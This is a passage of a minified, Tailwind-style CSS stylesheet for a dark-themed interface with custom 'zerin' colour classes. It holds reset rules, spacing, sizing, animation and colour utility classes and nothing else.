Mono","Menlo",monospace;font-feature-settings:normal;font-variation-settings:normal;font-size:1em}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}table{text-indent:0;border-color:inherit;border-collapse:collapse}button,input,optgroup,select,textarea{font-family:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-size:100%;font-weight:inherit;line-height:inherit;letter-spacing:inherit;color:inherit;margin:0;padding:0}button,select{text-transform:none}button,input:where([type=button]),input:where([type=reset]),input:where([type=submit]){-webkit-appearance:button;background-color:transparent;background-image:none}:-moz-focusring{outline:auto}:-moz-ui-invalid{box-shadow:none}progress{vertical-align:baseline}::-webkit-inner-spin-button,::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}summary{display:list-item}blockquote,dl,dd,h1,h2,h3,h4,h5,h6,hr,figure,p,pre{margin:0}fieldset{margin:0;padding:0}legend{padding:0}ol,ul,menu{list-style:none;margin:0;padding:0}dialog{padding:0}textarea{resize:vertical}input::-moz-placeholder,textarea::-moz-placeholder{opacity:1;color:#9ca3af}input::placeholder,textarea::placeholder{opacity:1;color:#9ca3af}button,[role=button]{cursor:pointer}:disabled{cursor:default}img,svg,video,canvas,audio,iframe,embed,object{display:block;vertical-align:middle}img,video{max-width:100%;height:auto}[hidden]:where(:not([hidden=until-found])){display:none}.container{width:100%}@media (min-width: 640px){.container{max-width:640px}}@media (min-width: 768px){.container{max-width:768px}}@media (min-width: 1024px){.container{max-width:1024px}}@media (min-width: 1280px){.container{max-width:1280px}}@media (min-width: 1536px){.container{max-width:1536px}}.pointer-events-none{pointer-events:none}.\!visible{visibility:visible!important}.visible{visibility:visible}.static{position:static}.fixed{position:fixed}.absolute{position:absolute}.relative{position:relative}.sticky{position:sticky}.-inset-\[1px\],.-inset-px{top:-1px;right:-1px;bottom:-1px;left:-1px}.inset-0{top:0;right:0;bottom:0;left:0}.-top-10{top:-2.5rem}.bottom-0{bottom:0}.bottom-10{bottom:2.5rem}.bottom-12{bottom:3rem}.bottom-4{bottom:1rem}.bottom-6{bottom:1.5rem}.bottom-full{bottom:100%}.left-0{left:0}.left-0\.5{left:.125rem}.left-1\/2{left:50%}.left-2\.5{left:.625rem}.left-6{left:1.5rem}.left-full{left:100%}.right-0{right:0}.right-2{right:.5rem}.right-4{right:1rem}.right-full{right:100%}.top-0{top:0}.top-0\.5{top:.125rem}.top-1\/2{top:50%}.top-2{top:.5rem}.top-24{top:6rem}.top-4{top:1rem}.top-\[2px\]{top:2px}.top-full{top:100%}.z-10{z-index:10}.z-20{z-index:20}.z-40{z-index:40}.z-50{z-index:50}.z-\[10000\]{z-index:10000}.z-\[100\]{z-index:100}.z-\[9000\]{z-index:9000}.z-\[9998\]{z-index:9998}.z-\[9999\]{z-index:9999}.col-span-12{grid-column:span 12 / span 12}.col-span-2{grid-column:span 2 / span 2}.mx-0\.5{margin-left:.125rem;margin-right:.125rem}.mx-2{margin-left:.5rem;margin-right:.5rem}.mx-3{margin-left:.75rem;margin-right:.75rem}.mx-4{margin-left:1rem;margin-right:1rem}.mx-6{margin-left:1.5rem;margin-right:1.5rem}.mx-auto{margin-left:auto;margin-right:auto}.my-1{margin-top:.25rem;margin-bottom:.25rem}.-mb-px{margin-bottom:-1px}.mb-0{margin-bottom:0}.mb-0\.5{margin-bottom:.125rem}.mb-1{margin-bottom:.25rem}.mb-1\.5{margin-bottom:.375rem}.mb-10{margin-bottom:2.5rem}.mb-14{margin-bottom:3.5rem}.mb-16{margin-bottom:4rem}.mb-2{margin-bottom:.5rem}.mb-2\.5{margin-bottom:.625rem}.mb-3{margin-bottom:.75rem}.mb-4{margin-bottom:1rem}.mb-5{margin-bottom:1.25rem}.mb-6{margin-bottom:1.5rem}.mb-8{margin-bottom:2rem}.ml-0{margin-left:0}.ml-0\.5{margin-left:.125rem}.ml-1{margin-left:.25rem}.ml-1\.5{margin-left:.375rem}.ml-2{margin-left:.5rem}.ml-3{margin-left:.75rem}.ml-\[100px\]{margin-left:100px}.ml-\[1px\]{margin-left:1px}.ml-auto{margin-left:auto}.mr-1{margin-right:.25rem}.mr-2{margin-right:.5rem}.mr-3{margin-right:.75rem}.mr-\[1px\]{margin-right:1px}.mt-0\.5{margin-top:.125rem}.mt-1{margin-top:.25rem}.mt-1\.5{margin-top:.375rem}.mt-10{margin-top:2.5rem}.mt-14{margin-top:3.5rem}.mt-2{margin-top:.5rem}.mt-3{margin-top:.75rem}.mt-4{margin-top:1rem}.mt-5{margin-top:1.25rem}.mt-6{margin-top:1.5rem}.mt-7{margin-top:1.75rem}.mt-8{margin-top:2rem}.mt-px{margin-top:1px}.block{display:block}.inline-block{display:inline-block}.inline{display:inline}.flex{display:flex}.inline-flex{display:inline-flex}.table{display:table}.grid{display:grid}.hidden{display:none}.aspect-video{aspect-ratio:16 / 9}.h-1{height:.25rem}.h-1\.5{height:.375rem}.h-10{height:2.5rem}.h-12{height:3rem}.h-14{height:3.5rem}.h-16{height:4rem}.h-2{height:.5rem}.h-2\.5{height:.625rem}.h-24{height:6rem}.h-28{height:7rem}.h-3{height:.75rem}.h-3\.5{height:.875rem}.h-36{height:9rem}.h-4{height:1rem}.h-5{height:1.25rem}.h-6{height:1.5rem}.h-64{height:16rem}.h-7{height:1.75rem}.h-8{height:2rem}.h-9{height:2.25rem}.h-\[1px\]{height:1px}.h-\[20px\]{height:20px}.h-\[2px\]{height:2px}.h-\[3px\]{height:3px}.h-\[500px\]{height:500px}.h-\[600px\]{height:600px}.h-full{height:100%}.h-screen{height:100vh}.max-h-32{max-height:8rem}.max-h-48{max-height:12rem}.max-h-\[340px\]{max-height:340px}.max-h-\[500px\]{max-height:500px}.max-h-\[50vh\]{max-height:50vh}.max-h-\[80vh\]{max-height:80vh}.max-h-\[85vh\]{max-height:85vh}.max-h-\[90vh\]{max-height:90vh}.max-h-full{max-height:100%}.min-h-0{min-height:0px}.min-h-\[200px\]{min-height:200px}.min-h-\[80vh\]{min-height:80vh}.min-h-\[calc\(100vh\+100px\)\]{min-height:calc(100vh + 100px)}.min-h-\[calc\(100vh-64px\)\]{min-height:calc(100vh - 64px)}.min-h-screen{min-height:100vh}.w-0{width:0px}.w-0\.5{width:.125rem}.w-1{width:.25rem}.w-1\.5{width:.375rem}.w-10{width:2.5rem}.w-12{width:3rem}.w-14{width:3.5rem}.w-16{width:4rem}.w-2{width:.5rem}.w-2\.5{width:.625rem}.w-20{width:5rem}.w-24{width:6rem}.w-28{width:7rem}.w-3{width:.75rem}.w-3\.5{width:.875rem}.w-32{width:8rem}.w-4{width:1rem}.w-40{width:10rem}.w-5{width:1.25rem}.w-56{width:14rem}.w-6{width:1.5rem}.w-7{width:1.75rem}.w-8{width:2rem}.w-80{width:20rem}.w-9{width:2.25rem}.w-96{width:24rem}.w-\[1000px\]{width:1000px}.w-\[100px\]{width:100px}.w-\[120px\]{width:120px}.w-\[140px\]{width:140px}.w-\[1px\]{width:1px}.w-\[200px\]{width:200px}.w-\[2px\]{width:2px}.w-\[40px\]{width:40px}.w-\[480px\]{width:480px}.w-\[800px\]{width:800px}.w-\[80px\]{width:80px}.w-full{width:100%}.w-px{width:1px}.w-screen{width:100vw}.min-w-0{min-width:0px}.min-w-\[170px\]{min-width:170px}.min-w-\[200px\]{min-width:200px}.min-w-\[210px\]{min-width:210px}.min-w-\[340px\]{min-width:340px}.max-w-2xl{max-width:42rem}.max-w-3xl{max-width:48rem}.max-w-4xl{max-width:56rem}.max-w-5xl{max-width:64rem}.max-w-6xl{max-width:72rem}.max-w-\[160px\]{max-width:160px}.max-w-\[200px\]{max-width:200px}.max-w-\[300px\]{max-width:300px}.max-w-\[400px\]{max-width:400px}.max-w-\[80\%\]{max-width:80%}.max-w-\[90vw\]{max-width:90vw}.max-w-full{max-width:100%}.max-w-lg{max-width:32rem}.max-w-md{max-width:28rem}.max-w-sm{max-width:24rem}.max-w-xl{max-width:36rem}.max-w-xs{max-width:20rem}.flex-1{flex:1 1 0%}.flex-none{flex:none}.flex-shrink-0,.shrink-0{flex-shrink:0}.-translate-x-1\/2{--tw-translate-x: -50%;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.-translate-x-4{--tw-translate-x: -1rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.-translate-x-full{--tw-translate-x: -100%;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.-translate-y-1\/2{--tw-translate-y: -50%;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-x-0{--tw-translate-x: 0px;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-x-0\.5{--tw-translate-x: .125rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-x-4{--tw-translate-x: 1rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-y-0{--tw-translate-y: 0px;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-y-3{--tw-translate-y: .75rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-y-4{--tw-translate-y: 1rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.rotate-180{--tw-rotate: 180deg;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.rotate-90{--tw-rotate: 90deg;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.transform{transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}.animate-fade-in{animation:fadeIn .25s ease-out}@keyframes ping{75%,to{transform:scale(2);opacity:0}}.animate-ping{animation:ping 1s cubic-bezier(0,0,.2,1) infinite}@keyframes pulse{50%{opacity:.5}}.animate-pulse{animation:pulse 2s cubic-bezier(.4,0,.6,1) infinite}@keyframes pulseDot{0%,to{opacity:1}50%{opacity:.4}}.animate-pulse-dot{animation:pulseDot 2s ease-in-out infinite}@keyframes scaleIn{0%{opacity:0;transform:scale(.95)}to{opacity:1;transform:scale(1)}}.animate-scale-in{animation:scaleIn .15s ease-out}@keyframes slideInRight{0%{opacity:0;transform:translate(24px)}to{opacity:1;transform:translate(0)}}.animate-slide-in-right{animation:slideInRight .25s ease-out}@keyframes slideUp{0%{opacity:0;transform:translateY(8px)}to{opacity:1;transform:translateY(0)}}.animate-slide-up{animation:slideUp .2s ease-out}@keyframes slideUpPanel{0%{transform:translateY(100%)}to{transform:translateY(0)}}.animate-slide-up-panel{animation:slideUpPanel .3s ease-out}@keyframes spin{to{transform:rotate(360deg)}}.animate-spin{animation:spin 1s linear infinite}.cursor-default{cursor:default}.cursor-not-allowed{cursor:not-allowed}.cursor-pointer{cursor:pointer}.cursor-wait{cursor:wait}.select-none{-webkit-user-select:none;-moz-user-select:none;user-select:none}.select-all{-webkit-user-select:all;-moz-user-select:all;user-select:all}.resize-none{resize:none}.resize{resize:both}.scroll-mt-24{scroll-margin-top:6rem}.list-inside{list-style-position:inside}.list-disc{list-style-type:disc}.appearance-none{-webkit-appearance:none;-moz-appearance:none;appearance:none}.grid-cols-1{grid-template-columns:repeat(1,minmax(0,1fr))}.grid-cols-12{grid-template-columns:repeat(12,minmax(0,1fr))}.grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.grid-cols-\[100px_140px_1fr_140px\]{grid-template-columns:100px 140px 1fr 140px}.grid-cols-\[110px_1fr_90px_160px_80px_150px\]{grid-template-columns:110px 1fr 90px 160px 80px 150px}.grid-cols-\[1fr_70px_60px_120px_100px_140px_70px_100px\]{grid-template-columns:1fr 70px 60px 120px 100px 140px 70px 100px}.grid-cols-\[24px_1fr\]{grid-template-columns:24px 1fr}.grid-cols-\[80px_1fr_120px_70px\]{grid-template-columns:80px 1fr 120px 70px}.flex-col{flex-direction:column}.flex-wrap{flex-wrap:wrap}.items-start{align-items:flex-start}.items-end{align-items:flex-end}.items-center{align-items:center}.items-baseline{align-items:baseline}.justify-start{justify-content:flex-start}.justify-end{justify-content:flex-end}.justify-center{justify-content:center}.justify-between{justify-content:space-between}.gap-0\.5{gap:.125rem}.gap-1{gap:.25rem}.gap-1\.5{gap:.375rem}.gap-10{gap:2.5rem}.gap-12{gap:3rem}.gap-2{gap:.5rem}.gap-2\.5{gap:.625rem}.gap-3{gap:.75rem}.gap-4{gap:1rem}.gap-5{gap:1.25rem}.gap-6{gap:1.5rem}.gap-8{gap:2rem}.gap-\[1px\],.gap-px{gap:1px}.gap-x-4{-moz-column-gap:1rem;column-gap:1rem}.gap-y-0\.5{row-gap:.125rem}.gap-y-4{row-gap:1rem}.space-y-0\.5>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.125rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.125rem * var(--tw-space-y-reverse))}.space-y-1>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.25rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.25rem * var(--tw-space-y-reverse))}.space-y-1\.5>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.375rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.375rem * var(--tw-space-y-reverse))}.space-y-2>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.5rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.5rem * var(--tw-space-y-reverse))}.space-y-2\.5>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.625rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.625rem * var(--tw-space-y-reverse))}.space-y-24>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(6rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(6rem * var(--tw-space-y-reverse))}.space-y-3>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.75rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.75rem * var(--tw-space-y-reverse))}.space-y-4>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1rem * var(--tw-space-y-reverse))}.space-y-5>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1.25rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1.25rem * var(--tw-space-y-reverse))}.space-y-6>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1.5rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1.5rem * var(--tw-space-y-reverse))}.space-y-\[1px\]>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1px * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1px * var(--tw-space-y-reverse))}.divide-y>:not([hidden])~:not([hidden]){--tw-divide-y-reverse: 0;border-top-width:calc(1px * calc(1 - var(--tw-divide-y-reverse)));border-bottom-width:calc(1px * var(--tw-divide-y-reverse))}.divide-zerin-panel-border>:not([hidden])~:not([hidden]){--tw-divide-opacity: 1;border-color:rgb(31 31 35 / var(--tw-divide-opacity, 1))}.divide-zerin-panel-border\/50>:not([hidden])~:not([hidden]){border-color:#1f1f2380}.overflow-auto{overflow:auto}.overflow-hidden{overflow:hidden}.overflow-x-auto{overflow-x:auto}.overflow-y-auto{overflow-y:auto}.overflow-x-hidden{overflow-x:hidden}.truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.whitespace-nowrap{white-space:nowrap}.whitespace-pre{white-space:pre}.whitespace-pre-wrap{white-space:pre-wrap}.break-words{overflow-wrap:break-word}.break-all{word-break:break-all}.rounded{border-radius:.25rem}.rounded-full{border-radius:9999px}.rounded-sm{border-radius:.125rem}.border{border-width:1px}.border-0{border-width:0px}.border-2{border-width:2px}.border-b{border-bottom-width:1px}.border-b-2{border-bottom-width:2px}.border-l{border-left-width:1px}.border-l-2{border-left-width:2px}.border-r{border-right-width:1px}.border-t{border-top-width:1px}.border-dashed{border-style:dashed}.border-\[\#00F0FF\]\/30{border-color:#00f0ff4d}.border-\[\#111118\]{--tw-border-opacity: 1;border-color:rgb(17 17 24 / var(--tw-border-opacity, 1))}.border-\[\#1a1a20\]{--tw-border-opacity: 1;border-color:rgb(26 26 32 / var(--tw-border-opacity, 1))}.border-\[\#1a1a22\]{--tw-border-opacity: 1;border-color:rgb(26 26 34 / var(--tw-border-opacity, 1))}.border-\[\#1a1a22\]\/30{border-color:#1a1a224d}.border-\[\#1a1a22\]\/50{border-color:#1a1a2280}.border-\[\#1f1f25\]{--tw-border-opacity: 1;border-color:rgb(31 31 37 / var(--tw-border-opacity, 1))}.border-\[\#ff69b4\]\/25{border-color:#ff69b440}.border-amber-500\/15{border-color:#f59e0b26}.border-amber-500\/20{border-color:#f59e0b33}.border-blue-500\/20{border-color:#3b82f633}.border-emerald-400\/20{border-color:#34d39933}.border-emerald-500\/20{border-color:#10b98133}.border-emerald-500\/30{border-color:#10b9814d}.border-emerald-500\/40{border-color:#10b98166}.border-orange-500\/20{border-color:#f9731633}.border-purple-500\/20{border-color:#a855f733}.border-purple-500\/50{border-color:#a855f780}.border-red-500\/20{border-color:#ef444433}.border-red-500\/30{border-color:#ef44444d}.border-transparent{border-color:transparent}.border-white\/30{border-color:#ffffff4d}.border-zerin-accent{--tw-border-opacity: 1;border-color:rgb(6 182 212 / var(--tw-border-opacity, 1))}.border-zerin-accent\/15{border-color:#06b6d426}.border-zerin-accent\/20{border-color:#06b6d433}.border-zerin-accent\/25{border-color:#06b6d440}.border-zerin-accent\/30{border-color:#06b6d44d}.border-zerin-accent\/40{border-color:#06b6d466}.border-zerin-accent\/50{border-color:#06b6d480}.border-zerin-danger\/20{border-color:#ef444433}.border-zerin-danger\/30{border-color:#ef44444d}.border-zerin-danger\/40{border-color:#ef444466}.border-zerin-danger\/50{border-color:#ef444480}.border-zerin-panel-border{--tw-border-opacity: 1;border-color:rgb(31 31 35 / var(--tw-border-opacity, 1))}.border-zerin-panel-border-hover{--tw-border-opacity: 1;border-color:rgb(39 39 42 / var(--tw-border-opacity, 1))}.border-zerin-panel-border\/50{border-color:#1f1f2380}.border-zinc-500\/20{border-color:#71717a33}.border-zinc-700{--tw-border-opacity: 1;border-color:rgb(63 63 70 / var(--tw-border-opacity, 1))}.border-b-zerin-panel-border{--tw-border-opacity: 1;border-bottom-color:rgb(31 31 35 / var(--tw-border-opacity, 1))}.border-l-zerin-accent{--tw-border-opacity: 1;border-left-color:rgb(6 182 212 / var(--tw-border-opacity, 1))}.border-r-zerin-panel-border{--tw-border-opacity: 1;border-right-color:rgb(31 31 35 / var(--tw-border-opacity, 1))}.border-t-white{--tw-border-opacity: 1;border-top-color:rgb(255 255 255 / var(--tw-border-opacity, 1))}.border-t-zerin-accent{--tw-border-opacity: 1;border-top-color:rgb(6 182 212 / var(--tw-border-opacity, 1))}.border-t-zerin-panel-border{--tw-border-opacity: 1;border-top-color:rgb(31 31 35 / var(--tw-border-opacity, 1))}.bg-\[\#04040a\]{--tw-bg-opacity: 1;background-color:rgb(4 4 10 / var(--tw-bg-opacity, 1))}.bg-\[\#04040a\]\/80{background-color:#04040acc}.bg-\[\#06060b\]{--tw-bg-opacity: 1;background-color:rgb(6 6 11 / var(--tw-bg-opacity, 1))}.bg-\[\#08080c\]{--tw-bg-opacity: 1;background-color:rgb(8 8 12 / var(--tw-bg-opacity, 1))}.bg-\[\#08080c\]\/50{background-color:#08080c80}.bg-\[\#08080c\]\/60{background-color:#08080c99}.bg-\[\#09090b\]{--tw-bg-opacity: 1;background-color:rgb(9 9 11 / var(--tw-bg-opacity, 1))}.bg-\[\#0A0A0C\]{--tw-bg-opacity: 1;background-color:rgb(10 10 12 / var(--tw-bg-opacity, 1))}.bg-\[\#0a0a0e\]{--tw-bg-opacity: 1;background-color:rgb(10 10 14 / var(--tw-bg-opacity, 1))}.bg-\[\#0d0d11\]{--tw-bg-opacity: 1;background-color:rgb(13 13 17 / var(--tw-bg-opacity, 1))}.bg-\[\#111118\]{--tw-bg-opacity: 1;background-color:rgb(17 17 24 / var(--tw-bg-opacity, 1))}.bg-\[\#16161c\]{--tw-bg-opacity: 1;background-color:rgb(22 22 28 / var(--tw-bg-opacity, 1))}.bg-\[\#18181c\]{--tw-bg-opacity: 1;background-color:rgb(24 24 28 / var(--tw-bg-opacity, 1))}.bg-\[\#1a1a20\]{--tw-bg-opacity: 1;background-color:rgb(26 26 32 / var(--tw-bg-opacity, 1))}.bg-\[\#1a1a22\]{--tw-bg-opacity: 1;background-color:rgb(26 26 34 / var(--tw-bg-opacity, 1))}.bg-\[\#1a1a22\]\/30{background-color:#1a1a224d}.bg-amber-400{--tw-bg-opacity: 1;background-color:rgb(251 191 36 / var(--tw-bg-opacity, 1))}.bg-amber-400\/10{background-color:#fbbf241a}.bg-amber-500\/10{background-color:#f59e0b1a}.bg-amber-500\/5{background-color:#f59e0b0d}.bg-amber-600{--tw-bg-opacity: 1;background-color:rgb(217 119 6 / var(--tw-bg-opacity, 1))}.bg-black\/50{background-color:#00000080}.bg-black\/60{background-color:#0009}.bg-black\/70{background-color:#000000b3}.bg-black\/80{background-color:#000c}.bg-black\/90{background-color:#000000e6}.bg-blue-500\/10{background-color:#3b82f61a}.bg-emerald-400{--tw-bg-opacity: 1;background-color:rgb(52 211 153 / var(--tw-bg-opacity, 1))}.bg-emerald-400\/10{background-color:#34d3991a}.bg-emerald-400\/80{background-color:#34d399cc}.bg-emerald-500{--tw-bg-opacity: 1;background-color:rgb(16 185 129 / var(--tw-bg-opacity, 1))}.bg-emerald-500\/10{background-color:#10b9811a}.bg-emerald-500\/20{background-color:#10b98133}.bg-emerald-500\/5{background-color:#10b9810d}.bg-emerald-600{--tw-bg-opacity: 1;background-color:rgb(5 150 105 / var(--tw-bg-opacity, 1))}.bg-green-500\/40{background-color:#22c55e66}.bg-orange-500{--tw-bg-opacity: 1;background-color:rgb(249 115 22 / var(--tw-bg-opacity, 1))}.bg-orange-500\/10{background-color:#f973161a}.bg-orange-500\/15{background-color:#f9731626}.bg-orange-500\/20{background-color:#f9731633}.bg-purple-500\/10{background-color:#a855f71a}.bg-purple-600{--tw-bg-opacity: 1;background-color:rgb(147 51 234 / var(--tw-bg-opacity, 1))}.bg-red-400{--tw-bg-opacity: 1;background-color:rgb(248 113 113 / var(--tw-bg-opacity, 1))}.bg-red-500{--tw-bg-opacity: 1;background-color:rgb(239 68 68 / var(--tw-bg-opacity, 1))}.bg-red-500\/10{background-color:#ef44441a}.bg-red-500\/20{background-color:#ef444433}.bg-red-500\/5{background-color:#ef44440d}.bg-red-500\/60{background-color:#ef444499}.bg-transparent{background-color:transparent}.bg-white{--tw-bg-opacity: 1;background-color:rgb(255 255 255 / var(--tw-bg-opacity, 1))}.bg-yellow-500{--tw-bg-opacity: 1;background-color:rgb(234 179 8 / var(--tw-bg-opacity, 1))}.bg-yellow-500\/40{background-color:#eab30866}.bg-zerin-accent{--tw-bg-opacity: 1;background-color:rgb(6 182 212 / var(--tw-bg-opacity, 1))}.bg-zerin-accent-muted{background-color:#06b6d41a}.bg-zerin-accent-muted\/30{background-color:#06b6d44d}.bg-zerin-accent-muted\/40{background-color:#06b6d466}.bg-zerin-accent-muted\/60{background-color:#06b6d499}.bg-zerin-accent\/10{background-color:#06b6d41a}.bg-zerin-accent\/15{background-color:#06b6d426}.bg-zerin-accent\/20{background-color:#06b6d433}.bg-zerin-accent\/5{background-color:#06b6d40d}.bg-zerin-accent\/50{background-color:#06b6d480}.bg-zerin-accent\/60{background-color:#06b6d499}.bg-zerin-accent\/\[0\.03\]{background-color:#06b6d408}.bg-zerin-accent\/\[0\.04\]{background-color:#06b6d40a}.bg-zerin-accent\/\[0\.06\]{background-color:#06b6d40f}.bg-zerin-bg{--tw-bg-opacity: 1;background-color:rgb(9 9 11 / var(--tw-bg-opacity, 1))}.bg-zerin-bg-alt{--tw-bg-opacity: 1;background-color:rgb(12 12 14 / var(--tw-bg-opacity, 1))}.bg-zerin-bg\/50{background-color:#09090b80}.bg-zerin-danger{--tw-bg-opacity: 1;background-color:rgb(239 68 68 / var(--tw-bg-opacity, 1))}.bg-zerin-danger-dim{background-color:#ef444414}.bg-zerin-danger\/10{background-color:#ef44441a}.bg-zerin-panel{--tw-bg-opacity: 1;background-color:rgb(17 17 19 / var(--tw-bg-opacity, 1))}.bg-zerin-panel-border{--tw-bg-opacity: 1;background-color:rgb(31 31 35 / var(--tw-bg-opacity, 1))}.bg-zerin-panel-hover{--tw-bg-opacity: 1;background-color:rgb(24 24 27 / var(--tw-bg-opacity, 1))}.bg-zerin-panel\/40{background-color:#11111366}.bg-zerin-panel\/50{background-color:#11111380}.bg-zerin-panel\/60{background-color:#11111399}.bg-zerin-panel\/95{background-color:#111113f2}.bg-zerin-text-muted\/40{background-color:#52525b66}.bg-zinc-400{--tw-bg-opacity: 1;background-color:rgb(161 161 170 / var(--tw-bg-opacity, 1))}.bg-zinc-400\/10{background-color:#a1a1aa1a}.bg-zinc-500{--tw-bg-opacity: 1;background-color:rgb(113 113 122 / var(--tw-bg-opacity, 1))}.bg-zinc-500\/10{background-color:#71717a1a}.bg-zinc-500\/15{background-color:#71717a26}.bg-zinc-600{--tw-bg-opacity: 1;background-color:rgb(82 82 91 / var(--tw-bg-opacity, 1))}.bg-zinc-700{--tw-bg-opacity: 1;background-color:rgb(63 63 70 / var(--tw-bg-opacity, 1))}.bg-zinc-800{--tw-bg-opacity: 1;background-color:rgb(39 39 42 / var(--tw-bg-opacity, 1))}.bg-gradient-to-b{background-image:linear-gradient(to bottom,var(--tw-gradient-stops))}.bg-gradient-to-r{background-image:linear-gradient(to right,var(--tw-gradient-stops))}.from-emerald-400{--tw-gradient-from: #34d399 var(--tw-gradient-from-position);--tw-gradient-to: rgb(52 211 153 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-emerald-500{--tw-gradient-from: #10b981 var(--tw-gradient-from-position);--tw-gradient-to: rgb(16 185 129 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-transparent{--tw-gradient-from: transparent var(--tw-gradient-from-position);--tw-gradient-to: rgb(0 0 0 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-zerin-accent{--tw-gradient-from: #06B6D4 var(--tw-gradient-from-position);--tw-gradient-to: rgb(6 182 212 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-zerin-accent\/20{--tw-gradient-from: rgb(6 182 212 / .2) var(--tw-gradient-from-position);--tw-gradient-to: rgb(6 182 212 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-zerin-accent\/30{--tw-gradient-from: rgb(6 182 212 / .3) var(--tw-gradient-from-position);--tw-gradient-to: rgb(6 182 212 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-zerin-accent\/50{--tw-gradient-from: rgb(6 182 212 / .5) var(--tw-gradient-from-position);--tw-gradient-to: rgb(6 182 212 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.via-\[\#1a1a22\]{--tw-gradient-to: rgb(26 26 34 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: 